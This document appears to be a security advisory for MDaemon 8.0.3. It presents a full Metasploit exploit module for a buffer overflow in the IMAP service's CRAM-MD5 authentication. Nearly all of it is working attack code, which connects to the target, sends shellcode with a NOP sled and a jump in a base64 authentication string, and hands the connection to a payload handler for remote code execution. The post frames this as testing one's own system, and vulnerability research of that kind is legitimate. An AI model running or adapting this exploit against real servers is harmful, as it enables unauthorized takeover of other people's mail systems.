Summary
MDaemon - "Windows-based email server software, contains full mail server functionality and control with a strong emphasis on security to protect your email communication needs."

This Metasploit module exploits a buffer overflow in the CRAM-MD5 authentication of the MDaemon IMAP service and allows you to test your system against the mentioned vulnerability.

Credit:
The information has been provided by Anonymous.

Details
Vulnerable Systems:
* Mdaemon version 8.0.3

Exploit module:
package Msf::Exploit::mdaemon_imap;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
'Name' => 'Mdaemon 8.0.3 IMAD CRAM-MD5 Authentication Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'anonymous', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32'],
'Priv' => 1,
'AutoOpts' =>
{
'EXITFUNC' => 'process',
},
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
},
'Payload' =>
{
'Prepend' => "\x81\xc4\x1f\xff\xff\xff\x44", # make stack happy
'Space' => 500,
'BadChars' => "\x00",
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a buffer overflow in the CRAM-MD5 authentication of the
MDaemon IMAP service.
}),
'Refs' =>
[
['OSVDB', 11838],
['BID', 11675],
],
'Targets' =>
[
['MDaemon IMAP 8.0.3 Windows XP SP2'],
],
'Keys' => ['mdaemon'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Exploit {
my $self = shift;

my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);

my $req = "a001 authenticate cram-md5\r\n";
$sock->Send($req);
$self->PrintLine('[*] CRAM-MD5 authentication method asked');

$resp = $sock->Recv(-1);
chomp($resp);
$self->PrintLine('[*] Got CRAM-MD5 answer: ' . $resp);

$req = "AAAA" . $shellcode . ("\x90" x 258) . "\xe9\x05\xfd\xff\xff";
$req = Pex::Text::Base64Encode($req, '') . "\r\n";
$sock->Send($req);
$self->PrintLine('[*] CRAM-MD5 authentication with shellcode sent');

$resp = $sock->Recv(-1);
chomp($resp);
$self->PrintLine('[*] Got authentication reply: ' . $resp);

$req = "a002 LOGOUT\r\n";
$sock->Send($req);
$self->PrintLine('[*] Send LOGOUT to close the thread and trigger an exception');

$resp = $sock->Recv(-1);
chomp($resp);
$self->PrintLine('[*] Got LOGOUT reply: ' . $resp);

$self->PrintLine("[*] Overflow request sent, sleeping for one second");
select(undef, undef, undef, 1);

$self->Handler($sock);
return;
}